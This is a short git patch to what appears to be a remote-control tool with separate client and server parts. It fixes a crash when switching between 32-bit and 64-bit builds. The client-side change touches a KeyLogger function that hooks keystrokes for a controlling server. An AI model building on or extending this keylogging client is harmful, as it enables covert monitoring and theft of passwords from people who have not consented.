From f24e7acc48bd3f4108c5f30fbdfc7f2a6342a8b5 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Tue, 14 Jul 2026 22:11:39 +0200 Subject: [PATCH] Fix: Switching between 32bits and 64bits causes master crash --- client/KeyboardManager.cpp | 2 +- server/2015Remote/2015Remote.cpp | 9 +++++++++ 2 files changed, 10 insertions(+), 1 deletion(-) diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp index 955e38c..f10ead7 100644 --- a/client/KeyboardManager.cpp +++ b/client/KeyboardManager.cpp @@ -679,7 +679,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam) if (!SetHook(WriteBuffer, pThis->m_Buffer)) { return -1; } - while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)); + while (pThis->IsConnected() && PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)); #else int num = lstrlen(KeyBuffer); if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) { diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp index e7ca871..137ddaf 100644 --- a/server/2015Remote/2015Remote.cpp +++ b/server/2015Remote/2015Remote.cpp @@ -478,6 +478,14 @@ BOOL CMy2015RemoteApp::InitInstance() Mprintf("[InitInstance] 处理自定义压缩/解压命令后退出。\n"); return FALSE; } + iniFile cfg; + int bits = cfg.GetInt("auth", "bits", 64); + const int currentBits = sizeof(int*) * 8; + if (bits != currentBits) { + Mprintf("[InitInstance] 运行%d位程序,上次运行为%d位\n", currentBits, bits); + cfg.SetInt("auth", "bits", currentBits); + cfg.SetStr("auth", "version", ""); + } BOOL runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0); @@ -489,6 +497,7 @@ BOOL CMy2015RemoteApp::InitInstance() THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_PROTECTED, 0); // 确保是正常模式(服务端已设置,这里再次确保) THIS_CFG.SetInt("settings", "RunNormal", 1); + THIS_CFG.SetStr("auth", "version", ""); runNormal = 1; Mprintf("[InitInstance] 检测到代理崩溃保护标志,切换到正常运行模式。\n"); MessageBoxL("检测到代理程序连续崩溃,已自动切换到正常运行模式。\n\n"